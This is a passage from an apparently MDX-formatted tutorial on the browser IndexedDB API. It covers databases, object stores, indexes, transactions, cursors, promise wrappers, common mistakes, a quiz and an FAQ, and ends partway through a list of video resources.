┌─────────────────────────────────┐  │\n│   │ key: \"user\"     │               │  Database: \"MyApp\"              │  │\n│   │ value: \"{...}\"  │               │  ┌───────────────────────────┐  │  │\n│   │                 │               │  │ Object Store: \"users\"     │  │  │\n│   │ key: \"theme\"    │               │  │  ├─ id: 1, name: \"Alice\"  │  │  │\n│   │ value: \"dark\"   │               │  │  ├─ id: 2, name: \"Bob\"    │  │  │\n│   └─────────────────┘               │  │  └─ (thousands more...)   │  │  │\n│                                     │  │                           │  │  │\n│   • ~5MB limit                      │  │  Indexes: email, role     │  │  │\n│   • Strings only                    │  └───────────────────────────┘  │  │\n│   • Synchronous                     │  ┌───────────────────────────┐  │  │\n│   • No querying                     │  │ Object Store: \"posts\"     │  │  │\n│                                     │  │  ├─ (structured data)     │  │  │\n│                                     │  └───────────────────────────┘  │  │\n│                                     └─────────────────────────────────┘  │\n│                                                                          │\n│                                     • Gigabytes of storage               │\n│                                     • Any JS value (objects, blobs)      │\n│                                     • Asynchronous                       │\n│                                     • Indexed queries                    │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n<CardGroup cols={2}>\n  <Card title=\"IndexedDB API — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API\">\n    The official MDN landing page covering all IndexedDB interfaces including IDBDatabase, IDBTransaction, and IDBObjectStore\n  </Card>\n  <Card title=\"Storage Quotas — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/Storage_API/Storage_quotas_and_eviction_criteria\">\n    How browsers allocate storage space and when data gets evicted\n  </Card>\n</CardGroup>\n\n---\n\n## The Filing Cabinet Analogy\n\nImagine your browser has a filing cabinet for each website you visit.\n\n**localStorage** is like a single drawer with sticky notes — quick and simple, but limited. You can only store short text messages, and there's not much room.\n\n**IndexedDB** is like having an entire filing cabinet system with multiple drawers (object stores), folders within each drawer (indexes), and the ability to store complete documents, photos, or any type of file.\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                    THE FILING CABINET ANALOGY                            │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   DATABASE = Filing Cabinet                                              │\n│   ┌──────────────────────────────────────────────────────────────────┐   │\n│   │                                                                  │   │\n│   │   OBJECT STORE = Drawer         OBJECT STORE = Drawer            │   │\n│   │   ┌─────────────────────┐       ┌─────────────────────┐          │   │\n│   │   │   \"users\"           │       │   \"products\"        │          │   │\n│   │   │   ┌───────────────┐ │       │   ┌───────────────┐ │          │   │\n│   │   │   │ Record        │ │       │   │ Record        │ │          │   │\n│   │   │   │ id: 1         │ │       │   │ sku: \"A001\"   │ │          │   │\n│   │   │   │ name: \"Alice\" │ │       │   │ name: \"Widget\"│ │          │   │\n│   │   │   │ email: \"...\"  │ │       │   │ price: 29.99  │ │          │   │\n│   │   │   └───────────────┘ │       │   └───────────────┘ │          │   │\n│   │   │   ┌───────────────┐ │       │   ┌───────────────┐ │          │   │\n│   │   │   │ Record        │ │       │   │ Record        │ │          │   │\n│   │   │   │ id: 2         │ │       │   │ sku: \"B002\"   │ │          │   │\n│   │   │   │ name: \"Bob\"   │ │       │   │ ...           │ │          │   │\n│   │   │   └───────────────┘ │       │   └───────────────┘ │          │   │\n│   │   │                     │       │                     │          │   │\n│   │   │   INDEX: \"email\"    │       │   INDEX: \"price\"    │          │   │\n│   │   │   (sorted labels)   │       │   (sorted labels)   │          │   │\n│   │   └─────────────────────┘       └─────────────────────┘          │   │\n│   │                                                                  │   │\n│   └──────────────────────────────────────────────────────────────────┘   │\n│                                                                          │\n│   KEY = The label on each folder (how you find records)                  │\n│   INDEX = Alphabetical tabs that let you find folders by other fields   │\n│   TRANSACTION = Checking out folders (ensures nobody else modifies them) │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\nJust like a real filing system:\n- You open the **cabinet** (database) before accessing anything\n- You pull out a **drawer** (object store) to work with specific types of records\n- You use **labels** (keys) to identify individual folders\n- You use **alphabetical tabs** (indexes) to find folders by different criteria\n- You **check out** folders (transactions) so no one else modifies them while you're working\n\n---\n\n## Opening a Database\n\nBefore you can store or retrieve data, you need to open a connection to a database. If the database doesn't exist, IndexedDB creates it for you.\n\n```javascript\n// Open (or create) a database named \"MyApp\" at version 1\nconst request = indexedDB.open('MyApp', 1)\n\n// This fires if the database needs to be created or upgraded\nrequest.onupgradeneeded = (event) => {\n  const db = event.target.result\n  console.log('Database created or upgraded!')\n}\n\n// This fires when the database is ready to use\nrequest.onsuccess = (event) => {\n  const db = event.target.result\n  console.log('Database opened successfully!')\n}\n\n// This fires if something goes wrong\nrequest.onerror = (event) => {\n  console.error('Error opening database:', event.target.error)\n}\n```\n\nNotice that IndexedDB uses an **event-based pattern** rather than Promises. The [`indexedDB.open()`](https://developer.mozilla.org/en-US/docs/Web/API/IDBFactory/open) method returns a request object, and you attach event handlers to it.\n\n### Database Versioning\n\nThe second argument to `open()` is the **version number**. This is how IndexedDB handles schema migrations:\n\n```javascript\n// First time: create the database at version 1\nconst request = indexedDB.open('MyApp', 1)\n\nrequest.onupgradeneeded = (event) => {\n  const db = event.target.result\n  \n  // Create object stores only in onupgradeneeded\n  if (!db.objectStoreNames.contains('users')) {\n    db.createObjectStore('users', { keyPath: 'id' })\n  }\n}\n```\n\nWhen you need to change the schema (add a new store, add an index), you increment the version:\n\n```javascript\n// Later: upgrade to version 2\nconst request = indexedDB.open('MyApp', 2)\n\nrequest.onupgradeneeded = (event) => {\n  const db = event.target.result\n  const oldVersion = event.oldVersion\n  \n  // Run migrations based on the old version\n  if (oldVersion < 1) {\n    db.createObjectStore('users', { keyPath: 'id' })\n  }\n  if (oldVersion < 2) {\n    db.createObjectStore('posts', { keyPath: 'id' })\n  }\n}\n```\n\n<Warning>\n**The Version Rule:** You can only create or modify object stores inside the `onupgradeneeded` event. Trying to create a store elsewhere throws an error. Always increment the version number when you need to change the database structure.\n</Warning>\n\n---\n\n## Object Stores and Keys\n\nAn **object store** is like a table in a traditional database. It holds a collection of records, and each record must have a unique key.\n\n### Creating Object Stores\n\nYou create object stores inside `onupgradeneeded`:\n\n```javascript\nrequest.onupgradeneeded = (event) => {\n  const db = event.target.result\n  \n  // Option 1: Use a property from the object as the key (keyPath)\n  const usersStore = db.createObjectStore('users', { keyPath: 'id' })\n  // Records must have an 'id' property: { id: 1, name: 'Alice' }\n  \n  // Option 2: Auto-generate keys\n  const logsStore = db.createObjectStore('logs', { autoIncrement: true })\n  // Keys are generated automatically: 1, 2, 3, ...\n  \n  // Option 3: Both - auto-increment and store the key in the object\n  const postsStore = db.createObjectStore('posts', { \n    keyPath: 'id', \n    autoIncrement: true \n  })\n  // Key is auto-generated AND stored in the 'id' property\n}\n```\n\n### Creating Indexes\n\n**Indexes** let you query records by fields other than the primary key:\n\n```javascript\nrequest.onupgradeneeded = (event) => {\n  const db = event.target.result\n  const store = db.createObjectStore('users', { keyPath: 'id' })\n  \n  // Create an index on the 'email' field (must be unique)\n  store.createIndex('email', 'email', { unique: true })\n  \n  // Create an index on 'role' (not unique - many users can share a role)\n  store.createIndex('role', 'role', { unique: false })\n}\n```\n\nLater, you can query by these indexes:\n\n```javascript\n// Find a user by email (instead of by id)\nconst index = store.index('email')\nconst request = index.get('alice@example.com')\n```\n\n---\n\n## CRUD Operations\n\nAll data operations in IndexedDB happen inside **transactions**. A transaction ensures that a group of operations either all succeed or all fail together.\n\n### Creating (Add)\n\n```javascript\nfunction addUser(db, user) {\n  // 1. Start a transaction in 'readwrite' mode\n  const tx = db.transaction('users', 'readwrite')\n  \n  // 2. Get the object store\n  const store = tx.objectStore('users')\n  \n  // 3. Add the data\n  const request = store.add(user)\n  \n  request.onsuccess = () => {\n    console.log('User added with id:', request.result)\n  }\n  \n  request.onerror = () => {\n    console.error('Error adding user:', request.error)\n  }\n}\n\n// Usage\naddUser(db, { id: 1, name: 'Alice', email: 'alice@example.com' })\n```\n\n<Tip>\n**add() vs put():** Use `add()` when inserting new records. It fails if a record with the same key already exists. Use `put()` when you want to insert OR update. It overwrites existing records.\n</Tip>\n\n### Reading (Get)\n\n```javascript\nfunction getUser(db, id) {\n  const tx = db.transaction('users', 'readonly')\n  const store = tx.objectStore('users')\n  const request = store.get(id)\n  \n  request.onsuccess = () => {\n    if (request.result) {\n      console.log('Found user:', request.result)\n    } else {\n      console.log('User not found')\n    }\n  }\n}\n\n// Get all records\nfunction getAllUsers(db) {\n  const tx = db.transaction('users', 'readonly')\n  const store = tx.objectStore('users')\n  const request = store.getAll()\n  \n  request.onsuccess = () => {\n    console.log('All users:', request.result)  // Array of all user objects\n  }\n}\n```\n\n### Updating (Put)\n\n```javascript\nfunction updateUser(db, user) {\n  const tx = db.transaction('users', 'readwrite')\n  const store = tx.objectStore('users')\n  \n  // put() updates if exists, inserts if not\n  const request = store.put(user)\n  \n  request.onsuccess = () => {\n    console.log('User updated')\n  }\n}\n\n// Usage - update Alice's email\nupdateUser(db, { id: 1, name: 'Alice', email: 'alice.new@example.com' })\n```\n\n### Deleting\n\n```javascript\nfunction deleteUser(db, id) {\n  const tx = db.transaction('users', 'readwrite')\n  const store = tx.objectStore('users')\n  const request = store.delete(id)\n  \n  request.onsuccess = () => {\n    console.log('User deleted')\n  }\n}\n\n// Delete all records\nfunction clearAllUsers(db) {\n  const tx = db.transaction('users', 'readwrite')\n  const store = tx.objectStore('users')\n  store.clear()\n}\n```\n\n---\n\n## Understanding Transactions\n\nTransactions are a critical concept in IndexedDB. They ensure data integrity by grouping operations together.\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                       TRANSACTION LIFECYCLE                              │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   1. CREATE                2. EXECUTE                3. COMPLETE         │\n│   ─────────                ─────────                 ─────────           │\n│                                                                          │\n│   const tx = db           store.add(...)            tx.oncomplete        │\n│     .transaction(         store.put(...)            All changes saved!   │\n│       'users',            store.delete(...)                              │\n│       'readwrite'         ↓                         tx.onerror           │\n│     )                     (all or nothing)          All changes rolled   │\n│                                                     back!                │\n│                                                                          │\n│   Transaction Modes:                                                     │\n│   ─────────────────                                                      │\n│   'readonly'   - Only reading data (faster, can run in parallel)         │\n│   'readwrite'  - Reading and writing (locks the store)                   │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n### Transaction Auto-Commit\n\nTransactions automatically commit when there are no more pending requests:\n\n```javascript\nconst tx = db.transaction('users', 'readwrite')\nconst store = tx.objectStore('users')\n\nstore.add({ id: 1, name: 'Alice' })\nstore.add({ id: 2, name: 'Bob' })\n\n// Transaction auto-commits after both adds complete\ntx.oncomplete = () => {\n  console.log('Both users saved!')\n}\n```\n\n### The Transaction Timing Trap\n\nHere's a common mistake. Transactions auto-commit quickly, so you can't do async work in the middle:\n\n```javascript\n// ❌ WRONG - Transaction will close before fetch completes\nconst tx = db.transaction('users', 'readwrite')\nconst store = tx.objectStore('users')\n\nconst response = await fetch('/api/user')  // Network request\nconst user = await response.json()\nstore.add(user)  // ERROR: Transaction is no longer active!\n```\n\n```javascript\n// ✓ CORRECT - Fetch first, then use IndexedDB\nconst response = await fetch('/api/user')\nconst user = await response.json()\n\nconst tx = db.transaction('users', 'readwrite')\nconst store = tx.objectStore('users')\nstore.add(user)  // Works!\n```\n\n<Warning>\n**The Auto-Commit Rule:** Transactions close automatically after the current JavaScript \"tick\" if there are no pending requests. Never put `await` calls to external APIs inside a transaction. Fetch your data first, then write to IndexedDB.\n</Warning>\n\n---\n\n## Iterating with Cursors\n\nWhen you need to process records one at a time (instead of loading everything into memory), use a **cursor**:\n\n```javascript\nfunction iterateUsers(db) {\n  const tx = db.transaction('users', 'readonly')\n  const store = tx.objectStore('users')\n  const request = store.openCursor()\n  \n  request.onsuccess = (event) => {\n    const cursor = event.target.result\n    \n    if (cursor) {\n      // Process the current record\n      console.log('Key:', cursor.key, 'Value:', cursor.value)\n      \n      // Move to the next record\n      cursor.continue()\n    } else {\n      // No more records\n      console.log('Done iterating')\n    }\n  }\n}\n```\n\n### Cursor with Key Ranges\n\nYou can limit which records the cursor visits using [`IDBKeyRange`](https://developer.mozilla.org/en-US/docs/Web/API/IDBKeyRange):\n\n```javascript\nfunction getUsersInRange(db, minId, maxId) {\n  const tx = db.transaction('users', 'readonly')\n  const store = tx.objectStore('users')\n  \n  // Only iterate over keys between minId and maxId\n  const range = IDBKeyRange.bound(minId, maxId)\n  const request = store.openCursor(range)\n  \n  request.onsuccess = (event) => {\n    const cursor = event.target.result\n    if (cursor) {\n      console.log(cursor.value)\n      cursor.continue()\n    }\n  }\n}\n\n// Other key range options:\nIDBKeyRange.only(5)           // Only key === 5\nIDBKeyRange.lowerBound(5)     // key >= 5\nIDBKeyRange.upperBound(10)    // key <= 10\nIDBKeyRange.bound(5, 10)      // 5 <= key <= 10\nIDBKeyRange.bound(5, 10, true, false)  // 5 < key <= 10\n```\n\n---\n\n## Using Promise Wrappers\n\nThe callback-based API can get messy. Most developers use a Promise wrapper library. The most popular is **idb** by Jake Archibald, a Chrome engineer whose library weighs only ~1.2kB and has been recommended by Google's web.dev team:\n\n```javascript\n// Using the idb library (https://github.com/jakearchibald/idb)\nimport { openDB } from 'idb'\n\nasync function demo() {\n  // Open database with Promises\n  const db = await openDB('MyApp', 1, {\n    upgrade(db) {\n      db.createObjectStore('users', { keyPath: 'id' })\n    }\n  })\n  \n  // Add a user\n  await db.add('users', { id: 1, name: 'Alice' })\n  \n  // Get a user\n  const user = await db.get('users', 1)\n  console.log(user)  // { id: 1, name: 'Alice' }\n  \n  // Get all users\n  const allUsers = await db.getAll('users')\n  \n  // Update\n  await db.put('users', { id: 1, name: 'Alice Updated' })\n  \n  // Delete\n  await db.delete('users', 1)\n}\n```\n\n<Tip>\n**The idb Advantage:** The idb library (~1.2kB) wraps IndexedDB's event-based API with Promises, making it work beautifully with async/await. It's the recommended way to use IndexedDB in modern applications.\n</Tip>\n\n### Building Your Own Wrapper\n\nIf you prefer not to add a dependency, here's a simple helper pattern:\n\n```javascript\n// Promisify an IDBRequest\nfunction promisifyRequest(request) {\n  return new Promise((resolve, reject) => {\n    request.onsuccess = () => resolve(request.result)\n    request.onerror = () => reject(request.error)\n  })\n}\n\n// Promisify opening a database\nfunction openDatabase(name, version, onUpgrade) {\n  return new Promise((resolve, reject) => {\n    const request = indexedDB.open(name, version)\n    request.onupgradeneeded = (event) => onUpgrade(event.target.result)\n    request.onsuccess = () => resolve(request.result)\n    request.onerror = () => reject(request.error)\n  })\n}\n\n// Usage\nasync function demo() {\n  const db = await openDatabase('MyApp', 1, (db) => {\n    db.createObjectStore('users', { keyPath: 'id' })\n  })\n  \n  const tx = db.transaction('users', 'readwrite')\n  const store = tx.objectStore('users')\n  \n  await promisifyRequest(store.add({ id: 1, name: 'Alice' }))\n  const user = await promisifyRequest(store.get(1))\n  console.log(user)\n}\n```\n\n---\n\n## IndexedDB vs Other Storage Options\n\nWhen should you use IndexedDB instead of other browser storage options?\n\n| Feature | localStorage | sessionStorage | IndexedDB | Cookies |\n|---------|-------------|----------------|-----------|---------|\n| **Storage Limit** | ~5MB | ~5MB | Gigabytes | ~4KB |\n| **Data Types** | Strings only | Strings only | Any JS value | Strings only |\n| **Async** | No (blocks UI) | No (blocks UI) | Yes | No |\n| **Queryable** | No | No | Yes (indexes) | No |\n| **Transactions** | No | No | Yes | No |\n| **Persists** | Until cleared | Until tab closes | Until cleared | Configurable |\n| **Accessible from Workers** | No | No | Yes | No |\n\n### When to Use IndexedDB\n\n<AccordionGroup>\n  <Accordion title=\"Offline-First Applications\">\n    IndexedDB is the foundation of offline-capable apps. Store data locally so users can work without a network connection, then sync when they're back online.\n    \n    ```javascript\n    // Cache API responses for offline use\n    async function fetchWithCache(url) {\n      const db = await openDB('cache', 1)\n      \n      // Try to get from cache first\n      const cached = await db.get('responses', url)\n      if (cached && !isStale(cached)) {\n        return cached.data\n      }\n      \n      // Fetch from network\n      const response = await fetch(url)\n      const data = await response.json()\n      \n      // Store in cache for next time\n      await db.put('responses', { url, data, timestamp: Date.now() })\n      return data\n    }\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Large Datasets\">\n    When you have thousands of records that would exceed localStorage's 5MB limit, IndexedDB can handle it.\n    \n    ```javascript\n    // Store a large product catalog locally\n    async function cacheProductCatalog(products) {\n      const db = await openDB('shop', 1)\n      const tx = db.transaction('products', 'readwrite')\n      \n      for (const product of products) {\n        await tx.store.put(product)\n      }\n      \n      await tx.done\n      console.log(`Cached ${products.length} products`)\n    }\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Complex Querying Needs\">\n    When you need to search or filter data by multiple fields, indexes make this efficient.\n    \n    ```javascript\n    // Find all products under $50\n    async function getAffordableProducts(db) {\n      const tx = db.transaction('products', 'readonly')\n      const index = tx.store.index('price')\n      const range = IDBKeyRange.upperBound(50)\n      \n      return await index.getAll(range)\n    }\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Storing Files and Blobs\">\n    Unlike localStorage, IndexedDB can store binary data like images, audio, and files.\n    \n    ```javascript\n    // Store an image blob\n    async function cacheImage(url) {\n      const response = await fetch(url)\n      const blob = await response.blob()\n      \n      const db = await openDB('images', 1)\n      await db.put('images', { url, blob, cached: Date.now() })\n    }\n    ```\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Real-World Patterns\n\n### Pattern 1: Sync Queue for Offline Actions\n\nStore user actions while offline, then sync when back online:\n\n```javascript\n// Queue an action for later sync\nasync function queueAction(action) {\n  const db = await openDB('app', 1)\n  await db.add('syncQueue', {\n    action,\n    timestamp: Date.now(),\n    status: 'pending'\n  })\n}\n\n// Sync all pending actions\nasync function syncPendingActions() {\n  const db = await openDB('app', 1)\n  const pending = await db.getAllFromIndex('syncQueue', 'status', 'pending')\n  \n  for (const item of pending) {\n    try {\n      await fetch('/api/sync', {\n        method: 'POST',\n        body: JSON.stringify(item.action)\n      })\n      await db.delete('syncQueue', item.id)\n    } catch (error) {\n      console.log('Will retry later:', item.action)\n    }\n  }\n}\n\n// Sync when back online\nwindow.addEventListener('online', syncPendingActions)\n```\n\n### Pattern 2: Database Helper Class\n\nEncapsulate database logic in a reusable class:\n\n```javascript\nclass UserDatabase {\n  constructor() {\n    this.dbPromise = openDB('users-db', 1, {\n      upgrade(db) {\n        const store = db.createObjectStore('users', { keyPath: 'id' })\n        store.createIndex('email', 'email', { unique: true })\n      }\n    })\n  }\n  \n  async add(user) {\n    const db = await this.dbPromise\n    return db.add('users', user)\n  }\n  \n  async get(id) {\n    const db = await this.dbPromise\n    return db.get('users', id)\n  }\n  \n  async getByEmail(email) {\n    const db = await this.dbPromise\n    return db.getFromIndex('users', 'email', email)\n  }\n  \n  async update(user) {\n    const db = await this.dbPromise\n    return db.put('users', user)\n  }\n  \n  async delete(id) {\n    const db = await this.dbPromise\n    return db.delete('users', id)\n  }\n  \n  async getAll() {\n    const db = await this.dbPromise\n    return db.getAll('users')\n  }\n}\n\n// Usage\nconst users = new UserDatabase()\nawait users.add({ id: 1, name: 'Alice', email: 'alice@example.com' })\nconst alice = await users.getByEmail('alice@example.com')\n```\n\n---\n\n## Common Mistakes\n\n### Mistake 1: Forgetting Transaction Mode\n\n```javascript\n// ❌ WRONG - Trying to write with readonly transaction\nconst tx = db.transaction('users')  // defaults to 'readonly'\ntx.objectStore('users').add({ id: 1, name: 'Alice' })  // ERROR!\n\n// ✓ CORRECT - Specify 'readwrite' for write operations\nconst tx = db.transaction('users', 'readwrite')\ntx.objectStore('users').add({ id: 1, name: 'Alice' })  // Works!\n```\n\n### Mistake 2: Creating Stores Outside onupgradeneeded\n\n```javascript\n// ❌ WRONG - Can't create stores in onsuccess\nrequest.onsuccess = (event) => {\n  const db = event.target.result\n  db.createObjectStore('users')  // ERROR: Not in version change transaction\n}\n\n// ✓ CORRECT - Create stores in onupgradeneeded\nrequest.onupgradeneeded = (event) => {\n  const db = event.target.result\n  db.createObjectStore('users', { keyPath: 'id' })  // Works!\n}\n```\n\n### Mistake 3: Assuming Sync Behavior\n\n```javascript\n// ❌ WRONG - Treating IndexedDB like it's synchronous\nconst tx = db.transaction('users', 'readwrite')\ntx.objectStore('users').add({ id: 1, name: 'Alice' })\nconsole.log('User saved!')  // This runs before the add completes!\n\n// ✓ CORRECT - Wait for the operation to complete\nconst tx = db.transaction('users', 'readwrite')\nconst request = tx.objectStore('users').add({ id: 1, name: 'Alice' })\nrequest.onsuccess = () => {\n  console.log('User saved!')  // Now it's actually saved\n}\n```\n\n### Mistake 4: Not Handling Blocked Database Opens\n\nWhen a database is open in another tab with an older version:\n\n```javascript\nconst request = indexedDB.open('MyApp', 2)\n\n// ✓ Handle the blocked event\nrequest.onblocked = () => {\n  alert('Please close other tabs with this app to allow the update.')\n}\n\nrequest.onupgradeneeded = (event) => {\n  // Upgrade logic\n}\n```\n\n---\n\n## Key Takeaways\n\n<Info>\n**The key things to remember about IndexedDB:**\n\n1. **IndexedDB is a full database in the browser** — it stores structured data with support for indexes, transactions, and complex queries, unlike localStorage's simple key-value pairs\n\n2. **Everything is asynchronous** — IndexedDB uses an event-based API (or Promises with a wrapper) and never blocks the main thread\n\n3. **Object stores are like tables** — each stores a collection of records identified by a unique key (either from the object's property or auto-generated)\n\n4. **Indexes enable efficient lookups** — create indexes on fields you want to query by, beyond just the primary key\n\n5. **All operations happen in transactions** — transactions ensure data integrity by grouping operations that either all succeed or all fail\n\n6. **Transactions auto-commit quickly** — never do async work (like fetch) inside a transaction; get your data first, then write to IndexedDB\n\n7. **Use `put()` for upserts, `add()` for inserts only** — `add()` fails if the key exists, `put()` inserts or updates\n\n8. **Schema changes require version increments** — only `onupgradeneeded` can create or modify object stores; increment the version number to trigger it\n\n9. **Consider using the idb library** — it wraps IndexedDB with Promises for cleaner async/await code\n\n10. **IndexedDB is perfect for offline-first apps** — store data locally, work offline, and sync when back online\n</Info>\n\n---\n\n## Test Your Knowledge\n\n<AccordionGroup>\n  <Accordion title=\"Question 1: When can you create object stores in IndexedDB?\">\n    **Answer:**\n    \n    Object stores can only be created inside the `onupgradeneeded` event handler, which fires when you open a database with a higher version number than what exists. This is IndexedDB's way of handling schema migrations.\n    \n    ```javascript\n    const request = indexedDB.open('MyApp', 2)  // Bump version to trigger upgrade\n    \n    request.onupgradeneeded = (event) => {\n      const db = event.target.result\n      db.createObjectStore('newStore', { keyPath: 'id' })  // Only works here!\n    }\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 2: What's the difference between add() and put()?\">\n    **Answer:**\n    \n    - `add()` inserts a new record. It **fails with an error** if a record with the same key already exists.\n    - `put()` inserts a new record OR updates an existing one. It **never fails** due to duplicate keys.\n    \n    Use `add()` when you expect the record to be new. Use `put()` when you want \"insert or update\" (upsert) behavior.\n  </Accordion>\n  \n  <Accordion title=\"Question 3: Why can't you use await fetch() inside a transaction?\">\n    **Answer:**\n    \n    Transactions auto-commit when there are no pending requests and the JavaScript execution returns to the event loop. A `fetch()` call is an async operation that gives control back to the event loop, causing the transaction to commit before your network request completes.\n    \n    ```javascript\n    // ❌ Transaction closes during fetch\n    const tx = db.transaction('users', 'readwrite')\n    const data = await fetch('/api/user')  // Transaction closes here!\n    tx.objectStore('users').add(data)  // ERROR: Transaction inactive\n    \n    // ✓ Fetch first, then use IndexedDB\n    const data = await fetch('/api/user')\n    const tx = db.transaction('users', 'readwrite')\n    tx.objectStore('users').add(data)  // Works!\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 4: What are indexes used for?\">\n    **Answer:**\n    \n    Indexes let you query records by fields other than the primary key. Without an index, you'd have to iterate through every record to find matches. With an index, lookups are fast.\n    \n    ```javascript\n    // Create an index on the 'email' field\n    store.createIndex('email', 'email', { unique: true })\n    \n    // Later, query by email instead of primary key\n    const index = store.index('email')\n    const user = await index.get('alice@example.com')\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 5: When should you use IndexedDB instead of localStorage?\">\n    **Answer:**\n    \n    Use IndexedDB when you need:\n    - **More than 5MB** of storage\n    - **Structured data** with relationships\n    - **Querying capabilities** (search by different fields)\n    - **To store non-string data** (objects, arrays, blobs, files)\n    - **Offline-first functionality** with complex data\n    - **Access from Web Workers**\n    \n    Use localStorage for simple key-value pairs like user preferences or small settings.\n  </Accordion>\n  \n  <Accordion title=\"Question 6: What does 'readonly' vs 'readwrite' transaction mode do?\">\n    **Answer:**\n    \n    - `readonly`: You can only read data. Multiple readonly transactions can run in parallel on the same store.\n    - `readwrite`: You can read and write. Only one readwrite transaction can access a store at a time (it \"locks\" the store).\n    \n    Always use `readonly` when you're just reading data. It's faster and doesn't block other transactions.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Frequently Asked Questions\n\n<AccordionGroup>\n  <Accordion title=\"What is IndexedDB used for?\">\n    IndexedDB is used for storing large amounts of structured data in the browser — offline-first applications, caching API responses, storing files and blobs, and any scenario where localStorage's 5MB string-only limit is insufficient. It's the primary storage API for Progressive Web Apps (PWAs) that need to work without a network connection.\n  </Accordion>\n\n  <Accordion title=\"How much data can IndexedDB store?\">\n    IndexedDB can store gigabytes of data, far exceeding localStorage's ~5MB limit. According to MDN's storage quotas documentation, browsers typically allow up to 50% of available disk space per origin. Chrome allocates up to 80% of total disk space across all origins, with individual origins limited to 60% of that.\n  </Accordion>\n\n  <Accordion title=\"Is IndexedDB synchronous or asynchronous?\">\n    IndexedDB is fully asynchronous and never blocks the main thread. It uses an event-based API with callbacks (`onsuccess`, `onerror`), though most developers use Promise wrappers like the `idb` library for cleaner async/await code. This asynchronous design is a key advantage over localStorage, which is synchronous.\n  </Accordion>\n\n  <Accordion title=\"Why can't I use await fetch() inside an IndexedDB transaction?\">\n    Transactions auto-commit when there are no pending requests and JavaScript returns to the event loop. A `fetch()` call yields to the event loop, causing the transaction to close before the network response arrives. Always fetch data first, then open a transaction and write to IndexedDB.\n  </Accordion>\n\n  <Accordion title=\"What is the difference between add() and put() in IndexedDB?\">\n    `add()` inserts a new record and fails with an error if a record with the same key already exists. `put()` inserts or updates — it overwrites existing records silently. Use `add()` when you expect unique records and want errors on duplicates; use `put()` for upsert behavior.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"localStorage & sessionStorage\" icon=\"hard-drive\" href=\"/beyond/concepts/localstorage-sessionstorage\">\n    Simpler key-value storage for smaller data. Understand when to use each option.\n  </Card>\n  <Card title=\"Promises\" icon=\"handshake\" href=\"/concepts/promises\">\n    IndexedDB's callback API is easier with Promises. Essential for using idb and other wrappers.\n  </Card>\n  <Card title=\"async/await\" icon=\"clock\" href=\"/concepts/async-await\">\n    Write cleaner IndexedDB code with async/await syntax and Promise wrappers.\n  </Card>\n  <Card title=\"Web Workers\" icon=\"gears\" href=\"/concepts/web-workers\">\n    IndexedDB works in Web Workers, enabling background data processing.\n  </Card>\n</CardGroup>\n\n---\n\n## Reference\n\n<CardGroup cols={2}>\n  <Card title=\"IndexedDB API — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API\">\n    Official MDN documentation covering all IndexedDB interfaces including IDBDatabase, IDBTransaction, and IDBObjectStore\n  </Card>\n  <Card title=\"Using IndexedDB — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API/Using_IndexedDB\">\n    Comprehensive step-by-step tutorial covering the full IndexedDB workflow from opening databases to transactions\n  </Card>\n  <Card title=\"IDBObjectStore — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/IDBObjectStore\">\n    Detailed reference for the object store interface including all CRUD methods like add(), put(), get(), and delete()\n  </Card>\n  <Card title=\"Browser Compatibility — Can I Use\" icon=\"browser\" href=\"https://caniuse.com/indexeddb\">\n    Real-time browser support data showing 96%+ global coverage for IndexedDB features\n  </Card>\n</CardGroup>\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"IndexedDB Tutorial — javascript.info\" icon=\"newspaper\" href=\"https://javascript.info/indexeddb\">\n    The most thorough tutorial covering versioning, object stores, transactions, cursors, and promise wrappers. Includes a working demo app with complete source code.\n  </Card>\n  <Card title=\"Work with IndexedDB — web.dev\" icon=\"newspaper\" href=\"https://web.dev/articles/indexeddb\">\n    Google's official guide using the idb library with modern async/await syntax. Perfect for developers who want to skip the callback-based native API.\n  </Card>\n  <Card title=\"idb: IndexedDB with Promises\" icon=\"newspaper\" href=\"https://github.com/jakearchibald/idb\">\n    The definitive promise wrapper for IndexedDB (~1.2kB) created by Chrome engineer Jake Archibald. Makes IndexedDB feel like working with modern JavaScript.\n  </Card>\n  <Card title=\"IndexedDB Key Terminology — MDN\" icon=\"newspaper\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API/Basic_Terminology\">\n    Explains core concepts like key paths, key generators, transactions, and the structured clone algorithm. Required reading before diving into the API.\n  </Card>\n</CardGroup>\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"IndexedDB Tutorial for Beginners — dcode\" icon=\"video\" href=\"https://www.youtube.com/watch?v=g4U5WRzHitM\">\n    Clear step-by-step walkthrough of IndexedDB fundamentals including creating databases, stores, and performing CRUD operations. Great for visual learners.\n  </Card>\n  <Card title=\"IndexedDB Crash Course — Traversy Media\" icon=\"video\" href=\"https://www.youtube.com/watch?v=vb7fkBeblcw\">\n    Brad Traversy's practical tutorial building a complete app with IndexedDB. Covers transactions, cursors, and real-world patterns in under 30 minutes.\n  </Card>\n  <Card title=\"Client-Side Storage Explained — Fireship\" icon=\"video\" href=\"https://www.youtube.com/watch?v=JR9wsVYp8RQ\">\n    Fast-paced comparison of localStorage, sessionStorage, 